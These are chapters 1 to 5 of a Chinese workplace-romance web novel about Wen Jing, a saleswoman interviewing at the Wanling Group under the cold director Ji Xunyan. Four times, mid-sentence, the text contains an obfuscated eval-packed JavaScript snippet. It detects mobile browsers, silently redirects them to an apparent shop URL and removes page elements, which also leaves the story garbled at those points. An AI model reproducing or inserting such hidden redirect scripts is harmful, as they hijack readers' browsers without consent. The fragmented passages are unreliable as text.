《凛冬雾色》 1. 1. 收到万岭集团面试通知的时候。 温景正在咖啡厅拒绝眼前这位西装革履，一派行业精英的金融相亲男。 男人梳了温景最讨厌的背头，说话腔调更是城府不浅的油腻。 他似笑非笑地盯着她，“温小姐，我年薪80w+，三十二岁，海城本地人。父母都是体面的工作，我在海城也有三套10w/平的两百平房子，车还是最新款宝马。对比你一年不过35w+的水准，我想我会是你最好的选择。” 是吗？ 温景并不觉得。 扣在桌上的手机频频响起震动。 温景抱歉表示，接起电话，电话那头是女人礼貌淡笑的声音：“你好，请问是温景吗？” “你是？” “我是万岭集团人力资源廉政部门的一级主管，姚心茹。致电你是为了确认明天下午两点，你是否有时间参加万岭销售部的面试？” “有时间的。” “好的，接下来会有三轮面试，第一轮群面，第二轮区经面试，第三轮华东总负责人面试。面试注意事项我将在电话挂断后以邮件形式发送给你。那么——” 姚心茹淡笑，“祝你面试顺利。” “谢谢。” 总算是听到了个好消息。 温景脸上闪过如释重负的笑容，被正对面的男人捕捉。 他笑了笑：“看来温小姐有好事发生？” “还可以。”毕竟在这个经济下行的社会，她一个学工程设计的，奈何碰上夕阳行业。她自大学毕业三年，主动就业频频受阻，销售算她最好赚钱的门路。 以她末流211本科毕业的学历，能收到万岭集团这类互联网行业龙头的面试，已经算不错了。 温景是个喜少外露的人。 男人想打探，她也只是笑笑：“邹先生，我想在您的择偶条件里，第一条我就不符合。我既没有海城户口，也没有要在海城落户的打算。我在海城，每月租的还是您看不上的四千块的房子，更不考虑在海城买房。” “所以，很抱歉，我们经济不匹配。” 温景起身，拿起包很果断地转身离开。 这个相亲对象是姨妈介绍的，说是闺蜜认识朋友的儿子。 毕业三年，在社会销售岗上摸爬滚打两年，温景早没了恋爱的打算。每天眼睛睁开到眼睛闭上，都在工作加班忙碌。 这次愿意见这个男人也是为了应付姨妈，希望可以借力姨妈哄哄亲妈许女士。 因两年前温景和许女士大吵了一架，吵到几乎闹崩，温景提着行李箱离家出走。 至今母女关系都未缓和。 有关温景和许女士的过节，其实还是源于两年前工程行业开始不景气，温景深思熟虑后，不想再从事工程行业，毅然辞去家里给她安排的金饭碗。 许女士知道的第一时间，追着温景要说法。 可以说是温景乖巧了二十二年，唯独这次，强硬得不仅说再也不回原行业，还要从此从家里搬出去，自己独立。 许女士什么都好，就是这么多年对温景的掌控欲太强。 从大学之前温景每天穿什么吃什么，到大学不准爷爷送温景出国留学，说国外危险，硬把她扣在国内读一个名气很一般的211，再到毕业摁着她头把她塞进早就运作安排好的工程公司。 在许女士的庇护下，温景的确在资源上很滋润，但这不是她想要的。 温景根本看不清自己的未来，太过迷茫，终于乖巧临近迟来的叛逆。 许女士说一不二的强硬，咄咄逼人教训她不懂事、没良心、不孝顺，逼得温景当晚就拖着行李箱，只身一人揣着两千块到了海城。 一夜之间，银行卡全停，一切经济支援全部消失。 断供，温景预料到了。 但她只花了三天，就快速找到了赚钱的销售工作，她不介意用最苦的方式拼命做业务赚钱。 她也的确做到了。 从原先看似金饭碗的一年12w，第一年工资跃升到税后到手25w。 第二年，甚至赚到了更多的35w。 同事们无不羡慕温景的成长速度，他们甚至都不知道看似赚钱如命的温景其实家庭条件很好。 温景爷爷是做内贸生意的，爸爸是大学教授，妈妈是国企高层。 但温景从不和任何人提起她的家庭。 大家都以为她家境平平。 以至于后来在前司发生了一些事，温景腹背受敌，四面无援，只能被迫再次选择离职。 一直到现在将近两个月，温景都没找到中意的工作，处于失业状态。 ...... 温家必然知道她现况，但许女士依旧爱搭不理地没和她说一句话。 温景和许女士的关系已经到了冰点，岌岌可危。 可都是嘴硬心软的。 温景常常冷静下来，还是关心许女士的。 但这男人也太不行了。 温景都没来得及和姨妈汇报，走出咖啡厅，姨妈电话来了。 “姨妈。” “岁岁啊，小邹怎么样啊？是不是很一表人才？” 岁岁是温景的小名。 那头姨妈的八卦试探，温景扶额叹气：“并不怎么样，姨妈，我们不是说好，就走个过场，然后回去你多帮我哄哄许女士吗？” “岁岁，不是姨妈不帮你。”姨妈无奈说，“小邹其实也是你妈看中了才让我推给你的，说两家家境相当，匹配得很。你要是见了没结果，我也不好交待啊。” “......” 温景本就心烦，这下闹掰了许女士还要干涉她恋爱。 她直接对电话那头说：“那就别哄了，让我自生自灭吧。” “......” 电话挂断。 六月的盛夏，海城的天也多变。 刚还晴空万里，这会已经乌云遍布，转瞬之间暴雨倾盆而下，把路上都来不及躲的温景一整个淋成了落汤鸡。 真是衰透了。 温景一路跑进地铁站。 地铁站的空调够猛，没站几分钟，温景浑身的皮肤就被湿冷冻到起了鸡皮疙瘩。 她情绪低落得没一点胃口。 回到出租房，她简单冲了把澡，吹干头发就疲惫地窝进被窝。 淋雨又受冻的后果，是晚上她想为明天的面试做准备，都烧得人昏昏沉沉，没能爬得起来。 - 第二天，温景吞了退烧和感冒药，提前在下午一点四十踏进万岭集团总部。 一整栋都是万岭集团。 顶级甲级写字楼，销售部在18层。 温景刚走进群面等候区，就看见不仅等待会议室都是人，就连外边的长廊上也全站着人。 这时，闺蜜林若薇发来消息：【是不是要面试了？】 温景：【嗯。】 林若薇：【加油哦宝贝！等你顺利完成，我们今晚去吃新开的那家米其林餐厅！】 温景：【好。】 林若薇是温景高中室友，大学考去了南城985读审计，毕业就以管培生被招进万岭做审计，今年刚转岗到内控，主打集团严查时随时都能发疯的破防打工人一枚。 林若薇生怕温景紧张，还专门从16楼跑到18楼来给她加油。 兴许是退烧药起了作用，温景现在格外精神。 面试开始。 和她同排的候选者无不是学历出色，就是工作成果过分靓眼的。 万岭是行业里出了名的招人严格。 即便是在如今就业市场最不缺人的销售部门，万岭的招人条件也被定在中流211及以上。最好985，研究生。 且销售的招人条件必须是过往有极出挑的行业经验，持续保持销冠成绩的。 这几条足够筛掉大批简历。 所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316720|198954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以温景也不明白，去年挂过自己一轮的万岭，是怎么再次同意并联系她参与面试的呢？ 同一时间，区域经理办公室。 刚结束私人谈话的业务主管陈青雅起身，面向眼前黑衬西裤，英俊冷锐，抬眸对她充满尖刻审视的男人。 桌面【华东大区总经理——季洵言】的深灰色职位牌同样冰冷逼人。 季洵言凉薄冷漠地盯着她，修长指尖捏着的录音笔还染着室内清冷的光。 “陈青雅，我记得之前警告过你，禁止办公室恋情，你当我和你开玩笑的？” 季洵言捏着的那支录音笔不仅是同事匿名举报陈青雅私生活混乱，和同区域多个男销售产生混乱关系，他桌上那张文件袋里装的更是实锤证据。 在万岭，同区域办公室恋情就是红线。 私生活混乱造成任何舆论影响，更是可以直接二类违规起步的重大警告。 以万岭的生存法则，以陈青雅之前因为业务严重违规，已经被判定过一次二类违规，这次再下一个二类，是直接可以卷铺盖走人的地步。 陈青雅自己也慌了，眼眶通红，眼泪都要掉下来：“季总，我知道错了，但我不能失去这份工作，我还要赚家里孩子的学费。我不能走。” 陈青雅身侧坐着的廉政hr，也是负责招聘培育销售的姚心茹皱眉。 她的皱眉并不是她认为季洵言太严格，而是不喜陈青雅这样挑衅规则的员工。 姚心茹在万岭十八年，这些规则都是当年廉政部门，为了更好管束销售个人行为所制定的。 如今陈青雅的求情自然无法获得谅解和保释。 “你有孩子要养。”姚心茹毫无温度反问她，“那那些男销售就没有家庭要养？你说自己知道错了，那你和他们产生婚外情的时候怎么没意识到错？” 姚心茹见的人太多了，没点狠手腕儿，根本没法在群狼环伺的万岭站稳脚跟。 她直截了当：“此次事件的当事人我们一个都不会留，可以了。陈主管，本次对你的稽查全部结束，公司会依据流程在三天之内给到你最终答复。” “季总，公司的处理模式，请问您同意吗？” 姚心茹是人力资源廉政部，季洵言是业务部门，两个完全不是一个条线的。 这次事件，本可以姚心茹全权处置，但她还是给了季洵言知情和一半决策权。 季洵言也不是好惹的人。 举报出事后，那帮男销售的老婆集体到万岭门口闹，本就难堪。 季洵言多一眼都没看陈青雅，只冷冷盯向姚心茹：“您决定就可以。” 两个“您”，事件盖棺定论。 陈青雅是哭着走的。 姚心茹还有新一轮的面试要去。 她起身，平静看向季洵言，“季总，这次事件的所有舆情我都会进行封锁。希望接下来的招人流程上，我们可以友好携手，不单单局限在销售的过往业绩方面，而是可以更注重销售的品格和行为习惯。” 毕竟陈青雅当初就是季洵言招进来的。 季洵言这人冷刻，尖锐，要求极高。 一路从万岭的年度销冠，多年蝉联全国第一，分红、股票拿到手软。快速晋升后，季洵言更是延续了对自己的过高要求，落在每一届新培养的销售身上。 自然，区域氛围以狼性著称。 外大区根本就没有能干得过海城所在的华东区域。 这才导致员工连连吐槽压抑，痛苦，花边事件在近三个月来，频频不断。 季洵言当然听出了姚心茹的话外音。 他冷笑，抬眸，“所以，你才给我推了连行业经验都没有，面个试都能脸红结巴的小白销售？” 季洵言面前的平板转过。 里面显然是最新一轮群面的现场同步直播。 正在讲话的就是再次发烧，发到面红耳赤，大脑嗡鸣，紧张到几乎结巴了一句话的温景。 2. 2. 即便同步直播季洵言没开声音，光是从候选人发言时的举止、神态，以及面临这份销售岗位竞争的自信程度，就足以判断出合不合适。 显然。 “她不合适。” 季洵言看一眼就能分辨温景此刻表现出的张扬外放活泼，是她在勉强。中国孩子太会面对应试场景，且此刻以为自己表现得滴水不漏的温景绝对是应试满分的高手。 季洵言欣赏她这方面的聪明，但不意味着她就适合万岭这份必须极具全方位能力，简言之六边形战士的销售工作。 姚心茹当然捕捉到了温景的紧张、局促、不安。 甚至，女性天生敏锐的洞察力让她一秒就发现了温景似乎身体不适。 温景的简历是陈青雅推的。 要论私生活和行为处事，陈青雅当然不合格。 但如果今天以专业人力的角度来评判陈青雅，她具备比季洵言更柔软的挖掘候选人与众不同优秀的能力。 万岭销售部上下都清楚。 季洵言这人脾气冷，做事绝，喜欢培养自己的人。 陈青雅就是最好的典型。 陈青雅的身上不仅具备了季洵言的冷刻尖锐，更具备了她自己浑然天成的敏锐和温柔。 她曾是全公司以为最有机会且晋升最快，能成为片区经理的人才。 可惜直接被干掉了。 现在不少人都对陈青雅当下一级主管的位置虎视眈眈。 万岭各大部门，除了廉政部门，都以专员/高级专员/资深专员/三级主管/二级主管/一级主管/片区经理/大区经理/区域总/分部总/集团总。 这样的顺序严格审判每一轮答辩和晋升流程。 一般没重大违规，业绩排名前5%的人，每年都有一次内部晋升的申请机会。 统一的述职、答辩，最终经过评选，留下竞争者前30%的佼佼者，进入晋升池，安排职位。 按照万岭平均一个区域最少200名销售，每年能先拿到内部晋升机会的只有10人。 再能评选上的最多3人。 一旦晋升成功，年包直接翻倍。 大家才会都挤破了头想要卷进晋升池，因为万岭的销售部是出了名的给钱爽快，同时也厮杀激烈，足够血腥。 能从人群中杀出重围的，都不是手段简单的人。 季洵言就是其中最典型的代表。 蝉联多年全国第一的业绩，每年都进入晋升池，入职6年。因过分优秀，别人以往需要9年才能做到区域总，他6年就破例稳稳坐上。 甚至今年传言能再次进入分部总的晋升池。 万岭的规则，谁强谁上。 以季洵言如今的地位和说话，销售条线上，没人敢反驳质疑。 但姚心茹是廉政部的，她十八年的老员工资历，就足够季洵言敬畏她几分。 人力廉政的部门是没有区域总/分部总/集团总这三块的。 到大区经理就晋升结束。 所以姚心茹一级主管手握的年包和职级评判，和季洵言是平起平坐的。 面对季洵言对温景的质疑，很简单，姚心茹说：“万岭的销售人才在逐年迭代年轻化，年轻化就必然意味着新培育的销售不可能会有太多的行业经验。以往十年，万岭的招聘要求都必须有5到10年行业经验。可一旦满足5年行业经验，他们在入职时就没法接受公司安排的职级评定。太多想直接从资深专员开始做起的，你很清楚，站在公司立场，不会同意这场不对等的博弈测试。公司想要更年轻的血液，想要他们以更低的评级开始，用实力厮杀上去，就意味着你今天作为华东区域销售部门的一把手，必须退而求其次，接受其他行业涌入的人才。” 姚心茹很清楚，一旦接受其他行业涌入的人才，他们无形中的培养成本就会直线上升。 但鱼与熊掌难以兼得，如若按照今天公司的规划，他们不希望也只能这么做。 道理季洵言不会不懂。 只是他不希望浪费的时间，是花在根本不可能会长期留在万岭的人身上。 “我能理解你的用意。但是——” 季洵言凉薄抬头，“你究竟是以怎样的标准，来衡量今天面试的这些人，将来会在万岭的留存率？” “万岭，只可能给他们最多三个月的时间。” - 对比季洵言姚心茹这边的锋利，群面现场显得温和太多。 温景一通发言结束，虽说刚开始表现一般，但渐渐她说得对行业理解以及后续落地操作都非常的有理有据，且是几位面试官一致认同的创新销售模式。 “那最后一个问题。” 早有传闻会顶上陈青雅空缺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316721|198954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位置的二级主管周智骞，微笑柔和地问，“既然今天大家面试的是销售岗位，请问各位候选人是如何看待自己在曾经的高光业绩下，依旧能在入职之后持续保持闪耀呢？” “众所周知，今天公司的销冠只会是最厉害的那个。” 周智骞用最温柔的神情，说着最尖锐的问题，“你们认为自己会是最厉害的那个吗？请在陈述之后，同时给自己和今天你的对手打分，我们期待你们所有的真实意见。” “所有评分都将匿名化，面试后会进行统一处理。” “......” 有好几个人面面相觑，无一不是给面试官们投诚，表示自己一定会用尽全力做到最好，相信自己绝对可以再次拿下销冠的位置。 这么给出回答的，甚至面试官都不用看他们给对手的评分，直接pass。 他们不需要这种类似画饼的承诺，没有意义。 到温景这里。 她沉着冷静地说：“任何一家公司的销冠拼的从来不是竞争、恶性内卷，而是精准获客的方式和跟进吃透的精细化。首先，如果拿到入职机会，我最先做的事是7天学透公司产品和分析出当下赛道，与竞对的核心竞争优势。并根据过往老销售们的作业模式，掌握开发的多样化渠道，保持对系统性经验的学习，熟练最多成功客户案例。” “在这样的条件下，高效利用开发、谈判、实践，将高价值的客户做好不同分层的区别跟进。并做好及时的学习和复盘，确保能将时间利用在最快转化的成单上。” “方法对，配合强执行力，我对业绩有足够的渴望。无论今天有多少比我厉害的竞争者，我都相信自己可以跑出最棒的结果。这也是今天公司愿意选中我的核心价值。” “以上。” 温景说完，不仅在场的群面对手，还是一排静听的面试官，无不都向她鼓掌。 “很好。” 这是周智骞看中的人才，姚姐果然没框他，是个好苗子。 此刻的季洵言办公室。 平板适中音量，姚心茹和他一起听完了温景的陈述。 姚心茹脸上是赞赏满意的笑容。 掌声响起的那一刻，她朝脸色不好不坏，看不出任何情绪的季洵言轻轻挑眉。 “如何？季总。”姚心茹慢条斯理笑说，“还觉得她不合适吗？” 3. 3. 面试结束。 温景走出会议室，发现自己的手心竟都是汗。 和她一起面试的好几人走出来都不复刚进场时的运筹帷幄。 有优越学历的，行业经验少，整体发挥不佳。 学历中等偏上的，行业经验多，想要的评级自然高，但依据刚刚周智骞为首的面试官透露，他们所谓的行业经验都没到大老板想要的程度，想争一争评级算天方夜谭了。 统一话术，三天之内会给答复，是否能进下一轮区域经理的面试。 万岭大名鼎鼎的华东总，季洵言，是他们第三轮面试才能见到的人。 大家在会议室时，会在温景发言结束给予鼓掌赞赏。 但实际走出办公室，大家都是竞争对手，神情都变回初始的冷漠，甚至多一眼都不会停留在竞争对手的身上。 因为刚刚那场面试，足够他们了解彼此。 来职场都是赚钱的，不是来交朋友的。 温景自然也没有交友的想法，林若薇还在楼下等她。 温景给林若薇发去消息：【结束了。】 林若薇秒回：【怎么样？】 温景：【不确定，几个面试官都笑面虎，看不透真实想法。】 林若薇：【正常的，放宽心，万岭的面试从来都是最温和的。因为真正的地狱都在入职后。】 温景：【你说的好吓人。我是不是都该考虑要不要继续下去？】 林若薇：【放心宝贝，你的生死权在那些boss手上，你自己还做不了决定。一旦你的简历进入万岭系统之后，如果你在面试中主动放弃机会，就意味着在接下来一年，你的简历都会被系统锁住。想再面试，就拿不到机会了。】 温景：【资本家的游戏，玩得真溜。】 林若薇：【没办法啦，谁让我们都是吗喽。你下午有什么安排吗？去不去喝咖啡？我请你。】 温景：【你下午不上班？】 林若薇：【害，姐妹我还有十几天年假没请呢，正好今天来亲戚，我中午就在系统提交请假了。最近那傻逼领导和老婆闹离婚，天天给我们看脸色，懒得理他。】 林若薇：【走，我们喝下午茶去。】 温景：【好。】 一整个下午，林若薇给温景科普了好多万岭的规则，以及职场红线都有哪些，讲着讲着绕回到万岭那外部门都闻之血腥的销售部。 林若薇说：“诶，你是不是还没见过销售部大老板，季洵言？” “没。”温景说，“我听hr介绍，他是第三轮，华东总负责人。” “那你可要小心点他哦。”林若薇对季洵言没太好印象，“万岭上下都知道，他是集团近年来升得最快的，有两级都跳着升的。说有人查他背景，查出他家和万岭高层有关联。但具体的，就不知道了。” “他难道不是业绩做得好才上去的？” “也有这个原因吧。”林若薇说，“你知道大家都喊他什么吗？” 温景摇头。 “喊他活阎王。”林若薇讪讪说，“因为自己做业务那会，好像每年都是全国第一，可以说那时候华东是绝对的销售巅峰，上百亿的业绩指标，光是他一个人，全年就能做这个数。” 林若薇比了个数字，都不敢说。 太夸张了。 “所以你懂了吧。大家不仅喊他活阎王，还给他起了个绰号，喊他行走的现金流。” 林若薇说，“保守估计，他一年干销售，工资提成加年度股票分红激励，至少能赚千万。” “千万？” 温景一个要死要活只能赚35w+的，听到这个数字眼睛都红了，“万岭给钱都这么痛快的吗？” “当然，上市集团，万岭现在不仅销售业务一家独大，核心产业也在不断拓展。比如机器人、AI智能、科技版图哪个发展得不是如日中天？” 林若薇说，“以后这公司的股票只会越来越值钱，现在买不划算，但要是你能进来，业绩做好了，公司每年送，都能赚到手软。” “但你不能在公司讨论薪资啊，这算违规的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316722|198954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “好。” 温景可以说是非常心动。 就在她心动的一瞬间，手机震动，是邮件上显示的： 【温景女士： 您好！ 非常感谢你参与我司销售高级专员岗位的面试，经综合评估，恭喜你已进入万岭集团第二轮面试。 第二轮面试时间将在明天下午两点，于万岭集团18楼1号会议室进行。 期待与你的相见，确认面试请在今晚24点前回复邮件。 祝你面试成功！】 温景快速回复了邮件。 林若薇简直太开心了，“加油宝贝！就知道你可以！” 等温景成功进了万岭，她每天中午都有饭搭子了，再也不用和那些表面笑眯眯实则内心冷漠虚伪的空心人同事一起吃饭了。 真棒！ 林若薇如是愉悦地想。 - 第二天的二面，温景依旧认真准备。 但意料之外的顺利。 区域经理是个很温柔的男人，看着很年轻，三十出头的样子，西装笔挺，说话温和周到。 和温景的一对一沟通也很舒适地开始，很舒适地结束。 并在同样的两小时后，温景收到了进到三轮华东总面试的邮件。 但这次与之前两次都不同的是。 第三轮的面试时间，季洵言直接给了温景两个选择。 一、就选在今天傍晚六点，万岭的会议室，进行三轮面试。 二、要么就等到三天后，他出差回来的下午两点，老时间老地点，再进行面试。 给温景自己选。 温景当然选傍晚六点，她是个急脾气的人，想最快拿到结果。 这倒是让季洵言出乎意料。 毕竟在之前两轮姚心茹力推的面试中，季洵言旁观，只感觉到了温景性格中庸谨慎的部分。 今晚的激进倒是让他很感兴趣。 他有点想见见这位被他手下连连夸奖的“最佳”候选人了。 4. 4. 和林若薇的晚餐时间定在八点。 六点准时，温景端正坐在面试1号会议室。 令她意外的是，前两轮面试都会晚2到5分钟开始。季洵言这场，他几乎准时到秒，六点整落座开始他们今天的面试环节。 窗外晚霞璀璨，气温炙热。 窗内冰凉，不是因空调温度，而是季洵言出现之后，自动随之冷下的氛围。 男人短发硬朗，清瘦英俊面容下，是一丝不苟的冷淡和倨傲。 他皮肤偏白，身上那件西衬，温景很熟悉，是法国Charvet的定制款，一人一版手工打造，单件1.5w起。 去年情人节温老师还在电话里和她吐槽，想买但太贵了，许女士不准他奢靡。 再往下，季洵言手腕上那块表，江诗丹顿百万款。 皮鞋，如果她没看错，也属于定制款。 全身上下行头都上百万，难怪是行走的现金流。 温景从小看人就真挚坦诚，此刻注视得更为果敢。 季洵言当然感觉到了。 他抬眸，淡漠凛然的目光静静地锁定住她。 “看什么呢？” 温景眼神一秒回正，冷静沉着地说：“没有。季总，傍晚好。” “请问可以开始面试了吗？” “三个环节。一，介绍你自己；二，回答我的问题；三，提出你的疑问。有任何问题？” 季洵言的嗓音很冷，自带威慑，职场专业感十足。 原来他是这种风格吗？ 反倒毫无亲和力的季洵言，让温景面试最没负担感。 她说：“没有。” “好，那开始吧。” 第一个环节，介绍她自己。 即便简历、面试，他早就构建过对她的认知。 但不妨碍他从她的再次介绍中敏锐捕捉她谈吐的风格、成熟度、以及销冠最重要的，无论什么场合，都不怯却，气场永不下沉。 温景发现了，季洵言在以很微妙的角度观察她。 她很紧张，甚至可以说是，发现自己成为被审视的观察者后，她的紧张无以复加地增叠。 但表面，温景依旧保持冷静。 甚至在介绍完自己后，她还能朝对面的季洵言平静一笑：“以上。” “很好。”季洵言意外温景比自己认知的更沉得住气，“第二环节。” “告诉我，你对万岭销售部的理解，以及为什么要坚定加入我们销售部。” 季洵言静静地看她两秒，“我只需要听实话。” 不得不说，季洵言的面试风格很有意思。 表面说只需要听实话，但实则是通过如此的拉近亲和度让面试者放松警惕。如果不聪明的，就会真说实话，但这种，一般被毙得最快。 难怪，季洵言的面试过关率会如此之低。 温景笑了下，滴水不漏地说：“万岭居于行业龙头，销售部更是无可替代的狼性团队。无论是销售部成员的坚定要性，还是万岭售卖的产品价值，都对如今大环境下市场客户端的把控，足以做到精准又明朗。” “万岭销售部，是个能让人快速学习成长，汰换劣势的地方。我渴望在万岭的学习，并希望可以在万岭实现自我价值和成就。” 看来是早有准备。 季洵言轻勾了下唇，即便微不可察。 他抬眸，淡淡地挑眉看她，“你觉得自己在万岭实现的自我价值和成就分别是什么？” “如果给你机会的话。” 他慢条斯理说的话，别有意味。 温景没管他话外音似有若无的挑衅，淡声说：“以我的了解，入职万岭的所有销售都会有两条成长路径。一条销售端，一条管理端。无论哪条晋升的前提，都在于出色的业绩。我对销冠的自我成就势在必得，同样我所想要的价值，是能证明我自己的客户价值。我不会做只会卖产品而不做客户孵化的单线销售。” 季洵言的表情有些变缓和了，嗓音低沉：“你觉得自己更适合哪条销售培养线路？” “销售端。”温景掷地有声地说，“因为我喜欢一直赢的感觉。” ...... 整场面试，季洵言压迫强，温景可以做到回击感更强。 她好像真和他见到的第一面感觉很不一样。 她聪明，也很倔，她有一套自己清晰的认知，但仍不够成熟，还有很多上升的空间。 但起码，让季洵言欣赏的是，她初生牛犊不怕虎的勇气。 还没几个人，在应对他犀利压迫下的面试，能这么冷静自信有底气地回答问题。 结束最后一个问题，季洵言笑了下。 不是那种讥讽冷漠的，而是很轻地，对她今天表现的短时间认可。 “好了，提问结束，有什么问题想问我吗？” 温景沉默了两秒，紧绷了整整四十分钟的身体像突然绷到极限，微松。 她看着季洵言那双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316723|198954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特别深邃漆黑漂亮的眼眸，没忍住又多看了两秒，不知怎的，同样紧张的心脏忽然很重地跳了下。 她深吸了一口气，平稳情绪，摇头，“没有。” 但还是被季洵言抓到了。 她眼神中一晃而过的慌乱。 今天的面试已经差不多结束了。 他没必要再端着冷漠，而是学着姚心茹频频教他的，做销售领导，尤其是男领导，你的亲和力同样是领导今天考核你晋升的一环。 别折在对下管理的人情上。 季洵言从前的确眼高于顶，当销售那会强得可怕，谁都不放在眼里。 但做上管理层后，他竟也被提醒得开始拿捏向下和向上管理应有的不同姿态。 这么看来，管理的确挺烦。 清楚温景这次面试过了，接下来试岗、体检没问题就可以安排入职，以后是他的下属。 季洵言嘴上没说，但表情明显变温和，还轻笑了下：“真没问题？” 温景被他这突如其来的笑搞得一懵。 什么意思？ 是对她不满意，要把她刷掉，所以现在都结束了，开始打温情亲和牌了？ 正当温景猜测时，季洵言手机震动了下。 是姚心茹，预估时间差不多，发来：【怎么样？】 季洵言：【过了。】 姚心茹：【好，那尽量让她明天试岗，可以的话，这周体检完，下周就可以安排培训课程到岗学习了。】 季洵言：【嗯。】 打完最后一个字，对面的温景突然开口了：“季总。” 季洵言抬头。 温景郑重地盯着他，直勾勾地说：“您很优秀，是我的榜样，我会向您多多学习。” “？” 季洵言似笑非笑，笑意不达眼底，“你这算在向上管理？” “没错。但也是实话实说。” 温景说这话，居然丝毫脸红心跳都没有，连她都觉得自己出息了。 她一字一顿地说，“其实我的问题还有很多，但都相关专业，希望有入职机会之后，未来多多向您请教。” 胆子不小啊。 高级专员头上光是主管区经都有五级。 敢这么直截了当地这么和他说话。 季洵言竟有了种在温景身上看到曾经那个狂妄嚣张的自己的错觉。 他波澜不惊地勾唇，只对她留下了今天最后四字。 “拭目以待。” 5. 5. 但温景没想季洵言的拭目以待会来得这么快。 晚上八点，顺利拿到录取通知，刚抵达和林若薇定的高级餐厅。 温景明晃晃地看到了此刻坐在旋转餐厅正东边，绝佳赏景位，正和一位打扮明艳靓丽大美女面对面笑着用餐的季洵言。 是有违两小时之前严肃正经的姿态。 此刻的季洵言，领口微敞，摘下办公室时戴的眼镜，缱绻光影下，小臂更劲瘦有力地使用刀叉，青筋时而微绷。 谈笑风生。 整个人的气场显得温柔又风流。 和对面女人还碰酒杯，暧昧感十足。 先到的林若薇当然注意到了他们的存在。 温景没踏进餐厅，给林若薇打了个电话，“什么情况？” 林若薇：“如你所见，我们撞上你大老板的约会了。” 温景：“那要不换个餐厅？我刚拿到录取通知，别等下惹恼他，再给我撤回去。” “那不至于。”林若薇说，“给你发通知的是hr，既然已经做了决定，季洵言还反悔不了。” “在他面前，会不会咽不下？”谁懂吃饭都能碰上领导的无力感。 林若薇懂，也容易咽不下。 她提议：“那宝贝，你进来看看，要是位置太显眼我们再换。” “好。”温景往里走。 幸好林若薇在的位置恰好在季洵言视角的盲区。 温景一颗心沉下。 侍应生靠近，点完单，半晌后慢慢开始上菜。 许是隔了距离，季洵言并没察觉到她们的存在。 但在温景的视角，透过屏风，她隐隐约约还能看到季洵言的背影，以及他和女人之间的交流。 有两次，女人“不小心”摔掉了手里的刀叉，都是季洵言让侍应生及时处理的。 林若薇旁观，啧啧：“好柔弱的美女，要是我，上菜了刀叉就绝不可能掉地上，只会握在手里用力切肉。” 温景淡笑：“又不是每个人都和你一样。” 天生的敏锐，让她嗅出了季洵言和女人之间不一般的气氛。 但与她无关。 温景中午没吃饱，现在饿得不行，她只想多吃点肉。 殊不知，季洵言那边。 女人连续两次的试探已经让他烦躁。 女人是如今最大合作方的二代千金。公司内外贸业务都做，国内业务的宣传都交给万岭，推广金额由万岭销售部来谈，落地交付则由隔壁运营部运作。 从前合作十几年，每年的投资金额都在增叠。 最夸张一次，是季洵言上位大区经理谈下的那笔三千万。 按理，这次单子金额也只需大区经理协助销售确认。 季洵言升上总经理，基础业务的谈判已经无需劳烦他。 但销售和大区经理都搞不定郁菱。 郁菱点名要季洵言和她谈，说不见到季洵言的人，最新年框的三千五百万不可能付。 才有今晚这一出。 因为季洵言明天就要出差，郁菱得知消息，就要今晚见他。 这秒，红酒荡漾浸染的暧昧下。 侍应生再次把新的刀叉递给郁菱。 郁菱抱歉，颇有礼节地笑笑：“谢谢啦。” 一双浓妆狐媚的眼微弯，朝着侍应生笑，都是格外亲和又明媚的感觉。 男侍应生不好意思地离开。 季洵言目睹，轻笑：“小郁总，兴致不错。” 郁菱朝他俏皮一笑：“难道季总不喜欢这种吗？” “哪种？”季洵言听懂了，但他擅长这种模糊的两性关系里装腔作势。 郁菱弯唇，不惜把话说明：“洵言，你知道我今晚约你出来什么意思。” “如果没有星零和万岭的合作，你还会和我见面，吃这顿饭吗？” “小郁总，话有时候问得太明白，会没意思。”季洵言勾唇，笑意却不达眼底，“今晚这顿饭，我陪你吃，你觉得值五百万吗？” 季洵言永远这么直接。 